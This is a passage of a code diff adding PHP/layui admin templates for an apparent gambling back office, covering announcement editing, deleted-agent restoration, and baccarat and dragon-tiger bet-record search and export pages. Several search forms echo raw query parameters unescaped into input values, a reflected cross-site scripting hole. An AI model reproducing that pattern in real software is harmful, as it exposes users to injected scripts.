<span class="help-inline">
|
||||
<font color="red"> * </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
-->
|
||||
<div class="control-group">
|
||||
<label class="control-label">公告标题:</label>
|
||||
<div class="controls">
|
||||
<input id="L_title" name="L_title" type="text" value maxlength="255" class="required" style="width:500px;">
|
||||
<span class="help-inline">
|
||||
<font color="red"> * </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<!--
|
||||
<div class="control-group">
|
||||
<label class="control-label">链接地址:</label>
|
||||
<div class="controls">
|
||||
<input id="L_url" name="L_url" type="text" value maxlength="250" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red"> * </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">公告内容:</label>
|
||||
<div class="controls">
|
||||
<textarea id="L_content" name="L_content" type="text" value maxlength="250" class="required"></textarea>
|
||||
<span class="help-inline">
|
||||
<font color="red"> * </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">备注信息:</label>
|
||||
<div class="controls">
|
||||
<textarea id="L_remark" name="L_remark" type="text" value maxlength="250" class="required"></textarea>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">请选择公告位置:</label>
|
||||
<div class="controls">
|
||||
<select id="L_position" name="L_position" type="text" class="required">
|
||||
<option value="-1" selected>请选择公告位置</option>
|
||||
<option value="1">投注页面</option>
|
||||
<option value="2">现场页面</option>
|
||||
<option value="3">所有页面</option>
|
||||
</select>
|
||||
<span class="help-inline">
|
||||
<font color="red"> * </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
-->
|
||||
<div class="bottom-buttom">
|
||||
<label class="control-label"></label>
|
||||
<div class="controls">
|
||||
<div class='submit'>保存</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/memo/memo';
|
||||
if(id == "2") location.href = '/memo/memo_add';
|
||||
});
|
||||
|
||||
//监听提交
|
||||
$('.submit').click(function (data) {
|
||||
// 获取和拼装添加代理的数据
|
||||
var query = new Object();
|
||||
query.title = $('#L_title').val();
|
||||
/*
|
||||
query.table_id = $('#L_tablename').val();
|
||||
query.url = $('#L_url').val();
|
||||
query.content = $('#L_content').val();
|
||||
query.remark = $('#L_remark').val();
|
||||
query.position = $('#L_position').val();
|
||||
*/
|
||||
query.type = 1;
|
||||
if(query.title.length == 0){
|
||||
layer.alert("请填写标题!");
|
||||
return false;
|
||||
}
|
||||
// 验证数据
|
||||
/*
|
||||
if(query.table_id == -1){
|
||||
layer.alert("请选择桌子!");
|
||||
return false;
|
||||
}
|
||||
if(query.url.length == 0){
|
||||
layer.alert("请填写公告链接!");
|
||||
return false;
|
||||
}
|
||||
if(query.content.length == 0){
|
||||
layer.alert("请填写内容!");
|
||||
return false;
|
||||
}
|
||||
if(query.position == -1){
|
||||
layer.alert("请选择公告位置!");
|
||||
return false;
|
||||
}
|
||||
*/
|
||||
|
||||
// 发送数据到后台添加会员
|
||||
var result = ajax('/memo/do_memo_add',query);
|
||||
if(result.code == 1){
|
||||
layer.alert(result.msg, {icon: 6}, function () {
|
||||
location.href = "/memo/memo";
|
||||
});
|
||||
}else{
|
||||
layer.alert(result.msg,{icon:2});
|
||||
}
|
||||
return false;
|
||||
});
|
||||
|
||||
// AJAX函数封装
|
||||
function ajax(url,query){
|
||||
var returnData = 0;
|
||||
$.ajax({
|
||||
url:url,
|
||||
data:query,
|
||||
type:'POST',
|
||||
dataType:'JSON',
|
||||
async:false,
|
||||
success:function(data){
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,177 @@
|
||||
{include file="public/header"}
|
||||
<style type="text/css">
|
||||
textarea, input[type="text"], input[type="password"],
|
||||
.uneditable-input{border: 1px solid #ccc;background-color: #fff;}
|
||||
textarea{padding:6px}
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.x-nav{overflow: inherit; }
|
||||
.x-nav .refresh{margin-right: 20px; }
|
||||
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
|
||||
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
|
||||
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; }
|
||||
.controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
|
||||
.controls select{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
|
||||
.controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; }
|
||||
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
|
||||
.submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one" data-id="1">公告列表</a>
|
||||
<a href="javascript:;" class="list-two actived" data-id="2">公告修改</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="info_from form-horizontal">
|
||||
<!--
|
||||
<div class="control-group">
|
||||
<label class="control-label">请选择桌子:</label>
|
||||
<div class="controls">
|
||||
<select id="L_tablename" name="L_tablename" type="text" class="required" disabled>
|
||||
<option value="{$table.id}" selected>{$table.table_name}</option>
|
||||
</select>
|
||||
<span class="help-inline">
|
||||
<font color="red"> * </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
-->
|
||||
<div class="control-group">
|
||||
<label class="control-label">公告标题:</label>
|
||||
<div class="controls">
|
||||
<input id="L_title" name="L_title" type="text" value="{$memo.title}" maxlength="250" class="required" style="width:500px;">
|
||||
<span class="help-inline">
|
||||
<font color="red"> * </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<!--
|
||||
<div class="control-group">
|
||||
<label class="control-label">链接地址:</label>
|
||||
<div class="controls">
|
||||
<input id="L_url" name="L_url" type="text" value="{$memo.url}" maxlength="250" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red"> * </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">公告内容:</label>
|
||||
<div class="controls">
|
||||
<textarea id="L_content" name="L_content" type="text" value maxlength="250" class="required">{$memo.content}</textarea>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">备注信息:</label>
|
||||
<div class="controls">
|
||||
<textarea id="L_remark" name="L_remark" type="text" value maxlength="250" class="required">{$memo.remark}</textarea>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">请选择公告位置:</label>
|
||||
<div class="controls">
|
||||
<select id="L_position" name="L_position" type="text" class="required">
|
||||
<option value="-1" selected>请选择公告位置</option>
|
||||
<option value="1" <?php if($memo['position'] == 1) echo 'selected="selected"'; ?>>投注页面</option>
|
||||
<option value="2" <?php if($memo['position'] == 2) echo 'selected="selected"'; ?>>现场页面</option>
|
||||
<option value="3" <?php if($memo['position'] == 3) echo 'selected="selected"'; ?>>所有页面</option>
|
||||
</select>
|
||||
<span class="help-inline">
|
||||
<font color="red"> * </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
-->
|
||||
<div class="bottom-buttom">
|
||||
<label class="control-label"></label>
|
||||
<div class="controls">
|
||||
<div class='submit'>保存</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- 隐藏参数 -->
|
||||
<input type="hidden" id="memo_id" value="{$memo.id}">
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/memo/memo';
|
||||
if(id == "2") location.href = '/memo/memo_edit';
|
||||
});
|
||||
|
||||
//监听提交
|
||||
$('.submit').click(function (data) {
|
||||
// 获取和拼装添加代理的数据
|
||||
var query = new Object();
|
||||
query.id = $('#memo_id').val();
|
||||
query.title = $('#L_title').val();
|
||||
/*
|
||||
query.url = $('#L_url').val();
|
||||
query.content = $('#L_content').val();
|
||||
query.remark = $('#L_remark').val();
|
||||
query.position = $('#L_position').val();
|
||||
*/
|
||||
query.type = 1;
|
||||
|
||||
// 验证数据
|
||||
if(query.title.length == 0){
|
||||
layer.alert("请填写标题!");
|
||||
return false;
|
||||
}
|
||||
/*
|
||||
if(query.url.length <= 0){
|
||||
layer.alert("请填写链接地址!");
|
||||
return false;
|
||||
}
|
||||
if(query.content.length <= 0){
|
||||
layer.alert("请填写内容!");
|
||||
return false;
|
||||
}
|
||||
if(query.position == -1){
|
||||
layer.alert("请选择公告位置!");
|
||||
return false;
|
||||
}
|
||||
*/
|
||||
|
||||
|
||||
// 发送数据到后台添加会员
|
||||
var result = ajax('/memo/do_memo_edit',query);
|
||||
if(result.code == 1){
|
||||
layer.alert(result.msg, {icon: 6}, function () {
|
||||
location.href = "/memo/memo";
|
||||
});
|
||||
}else{
|
||||
layer.alert(result.msg,{icon:2});
|
||||
}
|
||||
return false;
|
||||
});
|
||||
|
||||
// AJAX函数封装
|
||||
function ajax(url,query){
|
||||
var returnData = 0;
|
||||
$.ajax({
|
||||
url:url,
|
||||
data:query,
|
||||
type:'POST',
|
||||
dataType:'JSON',
|
||||
async:false,
|
||||
success:function(data){
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,42 @@
|
||||
{include file="public/header"}
|
||||
<body>
|
||||
<div class="x-body">
|
||||
<div class="layui-btn no-print" onclick="jQuery('html').print()">打印</div>
|
||||
<table class="layui-table">
|
||||
<div style="text-align: center;font-size: 18px;font-weight:bold;">公告列表</div>
|
||||
<thead>
|
||||
<tr>
|
||||
<th style="text-align: center;">桌子名称</th>
|
||||
<th style="text-align: center;">标题</th>
|
||||
<th style="text-align: center;">url链接</th>
|
||||
<th style="text-align: center;">内容</th>
|
||||
<th style="text-align: center;">备注</th>
|
||||
<th style="text-align: center;">显示位置</th>
|
||||
<th style="text-align: center;">创建时间</th>
|
||||
<th style="text-align: center;">状态</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="memo_list" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.table_name}</td>
|
||||
<td>{$vo.title}</td>
|
||||
<td>{$vo.url}</td>
|
||||
<td>{$vo.content}</td>
|
||||
<td>{$vo.position}</td>
|
||||
<td>{$vo.remark}</td>
|
||||
<td>{$vo.create_time}</td>
|
||||
{if condition="$vo.status == 1"}
|
||||
<td>正常</span>
|
||||
</td>
|
||||
{else}
|
||||
<td>锁定中</span>
|
||||
</td>
|
||||
{/if}
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,180 @@
|
||||
{include file="public/header"}
|
||||
<body>
|
||||
<div class="x-nav">
|
||||
<span class="layui-breadcrumb">
|
||||
<a href="javascript:;">首页</a>
|
||||
<a href="javascript:;">代理管理</a>
|
||||
<a><cite>已删除代理</cite></a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<div class="x-body">
|
||||
<div class="layui-row">
|
||||
<form class="layui-form layui-col-md12 x-so" action="/agent/agent_delete" method="get">
|
||||
<input class="layui-input" placeholder="开始日" name="start" id="start" value="<?php if(isset($get['start'])) {echo $get['start'];} ?>">
|
||||
<input class="layui-input" placeholder="截止日" name="end" id="end" value="<?php if(isset($get['end'])) {echo $get['end'];} ?>">
|
||||
<input type="text" name="nickname" placeholder="请输入用户名" autocomplete="off" class="layui-input" value="<?php if(isset($get['nickname'])) {echo $get['nickname'];} ?>">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon"></i></button>
|
||||
</form>
|
||||
</div>
|
||||
<xblock>
|
||||
<button class="layui-btn layui-btn-danger" onclick="recoverAll()"><i class="layui-icon"></i>批量恢复</button>
|
||||
<!--<button class="layui-btn" onclick="x_admin_show('添加会员','/member/member_add',800,600)"><i-->
|
||||
<!--class="layui-icon"></i>添加-->
|
||||
<!--</button>-->
|
||||
<!--<span class="x-right" style="line-height:40px">共有数据:{$user_del_sum} 条</span>-->
|
||||
</xblock>
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>
|
||||
<div class="layui-unselect header layui-form-checkbox" lay-skin="primary"><i class="layui-icon">
|
||||
</i></div>
|
||||
</th>
|
||||
<th>ID</th>
|
||||
<th>账号</th>
|
||||
<th>用户名</th>
|
||||
<th>上级代理</th>
|
||||
<th>最近上分</th>
|
||||
<th>商户余额</th>
|
||||
<th>洗码率(%)</th>
|
||||
<th>占成(%)</th>
|
||||
<th>创建日期</th>
|
||||
<th>操作</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="user_del_list" item="vo"}
|
||||
<tr>
|
||||
<td>
|
||||
<div class="layui-unselect layui-form-checkbox delete-id" lay-skin="primary" user-id='{$vo.id}'><i class="layui-icon"></i></div>
|
||||
</td>
|
||||
<td>{$vo.id}</td>
|
||||
<td>{$vo.username}</td>
|
||||
<td>{$vo.nickname}</td>
|
||||
{if condition="$vo.agent_parent_id > 0"}
|
||||
<td>{$vo.agent_parent_username}({$vo.agent_parent_nickname})</td>
|
||||
{else}
|
||||
<td>无</td>
|
||||
{/if}
|
||||
<td>{$vo.last_recharge}</td>
|
||||
<td>{$vo.money}</td>
|
||||
<td>{$vo.agent_ximalv}</td>
|
||||
<td>{$vo.agent_cs}</td>
|
||||
<td>{$vo.reg_time}</td>
|
||||
<td class="td-manage">
|
||||
<a onclick="agent_recover(this,'{$vo.id}')" href="javascript:;">
|
||||
恢复
|
||||
</a>
|
||||
</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</table>
|
||||
{$user_del_list->render()}
|
||||
<!--<div class="page">-->
|
||||
<!--<div>-->
|
||||
<!--<a class="prev" href=""><<</a>-->
|
||||
<!--<a class="num" href="">1</a>-->
|
||||
<!--<span class="current">2</span>-->
|
||||
<!--<a class="num" href="">3</a>-->
|
||||
<!--<a class="num" href="">489</a>-->
|
||||
<!--<a class="next" href="">>></a>-->
|
||||
<!--</div>-->
|
||||
<!--</div>-->
|
||||
|
||||
</div>
|
||||
<script>
|
||||
layui.use('laydate', function () {
|
||||
var laydate = layui.laydate;
|
||||
|
||||
// 开始时间
|
||||
laydate.render({
|
||||
elem: '#start',
|
||||
type: 'datetime'
|
||||
});
|
||||
|
||||
// 结束时间
|
||||
laydate.render({
|
||||
elem: '#end',
|
||||
type: 'datetime'
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
/*用户-删除*/
|
||||
function agent_recover(obj, id) {
|
||||
layer.confirm('确认要恢复吗?',function () {
|
||||
// 数据验证
|
||||
if(id <= 0){
|
||||
layer.msg('恢复用户出错!');
|
||||
return false;
|
||||
}
|
||||
|
||||
// 拼装数据
|
||||
var query = new Object;
|
||||
query.user_id = id;
|
||||
|
||||
// 发送数据到后台删除会员
|
||||
var result = ajax('/agent/agent_recover',query);
|
||||
if(result.code == 1){
|
||||
layer.msg(result.msg, {icon: 1, time: 1000},function(){
|
||||
location.reload();
|
||||
});
|
||||
}else if(result.code == 0){
|
||||
layer.msg(result.msg, {icon: 2, time: 1000});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/* 删除多个会员 */
|
||||
function recoverAll() {
|
||||
layer.confirm('确认要恢复吗?', function () {
|
||||
var user_ids = new Array;
|
||||
$('.delete-id').each(function(){
|
||||
if($(this).hasClass('layui-form-checked')){
|
||||
user_ids.push($(this).attr('user-id'));
|
||||
}
|
||||
});
|
||||
|
||||
// 发送数据给后台进行删除
|
||||
var query = new Object;
|
||||
query.user_ids = JSON.stringify(user_ids);
|
||||
var result = ajax('/agent/agent_recover_more',query);
|
||||
if(result.code == 1){
|
||||
layer.msg(result.msg, {icon: 1,time:1000},function(){
|
||||
location.reload();
|
||||
});
|
||||
}else if(result.code == 0){
|
||||
layer.msg(result.msg,{icon:2});
|
||||
}
|
||||
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* 封装 AJAX 函数
|
||||
* @param url 目标地址
|
||||
* @param query 参数
|
||||
* @returns {string}
|
||||
*/
|
||||
function ajax(url, query) {
|
||||
var returnData = "";
|
||||
$.ajax({
|
||||
url: url,
|
||||
data: query,
|
||||
type: 'POST',
|
||||
dataType: 'JSON',
|
||||
async: false,
|
||||
success: function (data) {
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,185 @@
|
||||
{include file="public/header"}
|
||||
<body>
|
||||
<style type="text/css">
|
||||
textarea, input[type="text"], input[type="password"],.uneditable-input{border: 1px solid #ccc;background-color: #fff; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.x-body .layui-form .layui-input-block{display:inline-block; width:150px; margin-left:0; }
|
||||
.x-so input.layui-input{width: 150px;}.layui-input{border: 1px solid #ccc;}
|
||||
.x-so{ margin-bottom:0;background:#f5f5f5;padding:15px 0; border-radius:10px;}
|
||||
.x-body .layui-row{margin-top:-25px;}
|
||||
</style>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="baccarat_list actived" data-id="1">百家乐游戏记录</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="x-body">
|
||||
<div class="layui-row">
|
||||
<form class="layui-form layui-col-md12 x-so float-left" action="/player/baccarat_record" method="get">
|
||||
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) echo $get['startDate']; ?>">
|
||||
<input class="layui-input" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) echo $get['endDate']; ?>">
|
||||
<div class="layui-input-block" id="search_table_name">
|
||||
<select name="table_id" lay-filter="table_name" lay-search>
|
||||
<option value="" selected>桌台</option>
|
||||
{volist name="table_list" id="vo"}
|
||||
<option value="{$vo.id}" <?php if( isset($get['table_id']) && $get['table_id'] == $vo['id']) echo 'selected="selected"'; ?> >{$vo.table_name}</option>
|
||||
{/volist}
|
||||
</select>
|
||||
</div>
|
||||
<input class="layui-input" placeholder="账号" name="username" value="<?php if(isset($get['username'])) echo $get['username']; ?>" lay-key="">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon"></i></button>
|
||||
<span class="layui-btn" id="export">导出excel</span>
|
||||
<!-- <span class="layui-btn" id="print">打印</span> -->
|
||||
</form>
|
||||
</div>
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>玩家账号</th>
|
||||
<th>代理</th>
|
||||
<th>游戏桌台</th>
|
||||
<th>局号</th>
|
||||
<th>结果</th>
|
||||
<th>庄下注额</th>
|
||||
<th>闲下注额</th>
|
||||
<th>和下注额</th>
|
||||
<th>庄对下注额</th>
|
||||
<th>闲对下注额</th>
|
||||
<th>输赢</th>
|
||||
<th>可洗码值</th>
|
||||
<th>下注时间</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{if $isData eq true}
|
||||
{foreach name="baccarat_list" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.user_nickname}</td>
|
||||
<td>{$vo.agent_parent_username}</td>
|
||||
<td>{$vo.table_name}</td>
|
||||
<td>{$vo.record_num}</td>
|
||||
<td>{$vo.result}{$vo.pair}</td>
|
||||
<td>{$vo.banker_amount}</td>
|
||||
<td>{$vo.player_amount}</td>
|
||||
<td>{$vo.tie_amount}</td>
|
||||
<td>{$vo.banker_pair_amount}</td>
|
||||
<td>{$vo.player_pair_amount}</td>
|
||||
<td>{$vo.win_total}</td>
|
||||
<td>{if $vo.maliang neq ''}{$vo.maliang}{else}0.00{/if}</td>
|
||||
<td>{$vo.create_time}</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
{else}
|
||||
<tr>
|
||||
<td colspan="13" style="text-align: center;">当日暂无数据</td>
|
||||
</tr>
|
||||
{/if}
|
||||
</tbody>
|
||||
</table>
|
||||
{$baccarat_list->render()}
|
||||
</div>
|
||||
<script type="text/javascript">
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/player/baccarat_record';
|
||||
});
|
||||
// 时间选择器
|
||||
layui.use('laydate', function () {
|
||||
var laydate = layui.laydate;
|
||||
|
||||
// 开始时间
|
||||
laydate.render({
|
||||
elem: '#start',
|
||||
type: 'datetime'
|
||||
});
|
||||
|
||||
// 结束时间
|
||||
laydate.render({
|
||||
elem: '#end',
|
||||
type: 'datetime'
|
||||
});
|
||||
});
|
||||
|
||||
// 打印数据
|
||||
$('#print').click(function(){
|
||||
var qs = getQueryString();
|
||||
var startDate = qs["startDate"];
|
||||
var endDate = qs["endDate"];
|
||||
var table_id = qs["table_id"];
|
||||
var username = qs["username"];
|
||||
if(startDate == undefined){
|
||||
startDate = '';
|
||||
}
|
||||
if(endDate == undefined){
|
||||
endDate = '';
|
||||
}
|
||||
if(table_id == undefined){
|
||||
table_id = '';
|
||||
}
|
||||
if(username == undefined){
|
||||
username = '';
|
||||
}
|
||||
layer.open({
|
||||
type: 2,
|
||||
title: '百家乐游戏记录打印',
|
||||
content: '/player/baccarat_record_print?startDate='+startDate+'&endDate='+endDate+'&table_id='+table_id+'&username='+username,
|
||||
area: ['95%', '95%']
|
||||
});
|
||||
});
|
||||
|
||||
function getQueryString() {
|
||||
var qs = location.search.substr(1), // 获取url中"?"符后的字串
|
||||
args = {}, // 保存参数数据的对象
|
||||
items = qs.length ? qs.split("&") : [], // 取得每一个参数项,
|
||||
item = null,
|
||||
len = items.length;
|
||||
|
||||
for(var i = 0; i < len; i++) {
|
||||
item = items[i].split("=");
|
||||
var name = decodeURIComponent(item[0]),
|
||||
value = decodeURIComponent(item[1]);
|
||||
if(name) {
|
||||
args[name] = value;
|
||||
}
|
||||
}
|
||||
return args;
|
||||
}
|
||||
|
||||
// 导出excel
|
||||
$('#export').click(function(){
|
||||
var startDate = $('#start').val();
|
||||
var endDate = $('#end').val();
|
||||
var table_id = $('#table_id').val();
|
||||
var username = $('#username').val();
|
||||
if(startDate == undefined){
|
||||
startDate = '';
|
||||
}
|
||||
if(endDate == undefined){
|
||||
endDate = '';
|
||||
}
|
||||
if(table_id == undefined){
|
||||
table_id = '';
|
||||
}
|
||||
if(username == undefined){
|
||||
username = '';
|
||||
}
|
||||
layer.confirm('确定导出 excel 吗?',function(index){
|
||||
location.href = '/player/baccarat_record?export=1&startDate='+startDate+'&endDate='+endDate+'&table_id='+table_id+'&username='+username;
|
||||
layer.close(index);
|
||||
});
|
||||
})
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,46 @@
|
||||
{include file="public/header"}
|
||||
<body>
|
||||
<div class="x-body">
|
||||
<div class="layui-btn no-print" onclick="jQuery('html').print()">打印</div>
|
||||
<table class="layui-table">
|
||||
<div style="text-align: center;font-size: 18px;font-weight:bold;">百家乐游戏记录</div>
|
||||
<thead>
|
||||
<tr>
|
||||
<th style="text-align: center;">玩家账号</th>
|
||||
<th style="text-align: center;">代理</th>
|
||||
<th style="text-align: center;">游戏桌台</th>
|
||||
<th style="text-align: center;">局号</th>
|
||||
<th style="text-align: center;">结果</th>
|
||||
<th style="text-align: center;">庄下注额</th>
|
||||
<th style="text-align: center;">闲下注额</th>
|
||||
<th style="text-align: center;">和下注额</th>
|
||||
<th style="text-align: center;">庄对下注额</th>
|
||||
<th style="text-align: center;">闲对下注额</th>
|
||||
<th style="text-align: center;">输赢</th>
|
||||
<th style="text-align: center;">可洗码值</th>
|
||||
<th style="text-align: center;">下注时间</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="baccarat_list" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.user_nickname}</td>
|
||||
<td>{$vo.agent_parent_username}</td>
|
||||
<td>{$vo.table_name}</td>
|
||||
<td>{$vo.record_num}</td>
|
||||
<td>{$vo.result}{$vo.pair}</td>
|
||||
<td>{$vo.banker_amount}</td>
|
||||
<td>{$vo.player_amount}</td>
|
||||
<td>{$vo.tie_amount}</td>
|
||||
<td>{$vo.banker_pair_amount}</td>
|
||||
<td>{$vo.player_pair_amount}</td>
|
||||
<td>{$vo.win_total}</td>
|
||||
<td>{$vo.maliang}</td>
|
||||
<td>{$vo.create_time}</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,182 @@
|
||||
{include file="public/header"}
|
||||
<body>
|
||||
<style type="text/css">
|
||||
textarea, input[type="text"], input[type="password"],.uneditable-input{border: 1px solid #ccc;background-color: #fff; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.x-body .layui-form .layui-input-block{display:inline-block; width:150px; margin-left:0; }
|
||||
.x-so input.layui-input{width: 150px;}
|
||||
.layui-input{border: 1px solid #ccc;}
|
||||
.x-so{ margin-bottom:0;background:#f5f5f5;padding:15px 0; border-radius:10px;}
|
||||
.x-body .layui-row{margin-top:-25px;}
|
||||
</style>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="dt_list actived" data-id="1">龙虎斗游戏记录</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="x-body">
|
||||
<div class="layui-row">
|
||||
<form class="layui-form layui-col-md12 x-so float-left" action="/player/dt_record" method="get">
|
||||
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) echo $get['startDate']; ?>">
|
||||
<input class="layui-input" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) echo $get['endDate']; ?>">
|
||||
<div class="layui-input-block" id="search_table_name">
|
||||
<select name="table_id" lay-search>
|
||||
<option value="" selected>桌台</option>
|
||||
{volist name="table_list" id="vo"}
|
||||
<option value="{$vo.id}" <?php if( isset($get['table_id']) && $get['table_id'] == $vo['id']) echo 'selected="selected"'; ?> >{$vo.table_name}</option>
|
||||
{/volist}
|
||||
</select>
|
||||
</div>
|
||||
<input class="layui-input" placeholder="账号" name="username" id="username" value="<?php if(isset($get['username'])) echo $get['username']; ?>" lay-key="">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon"></i></button>
|
||||
<span class="layui-btn" id="export">导出excel</span>
|
||||
<!-- <span class="layui-btn" id="print">打印</span> -->
|
||||
</form>
|
||||
</div>
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>玩家账号</th>
|
||||
<th>代理</th>
|
||||
<th>游戏桌台</th>
|
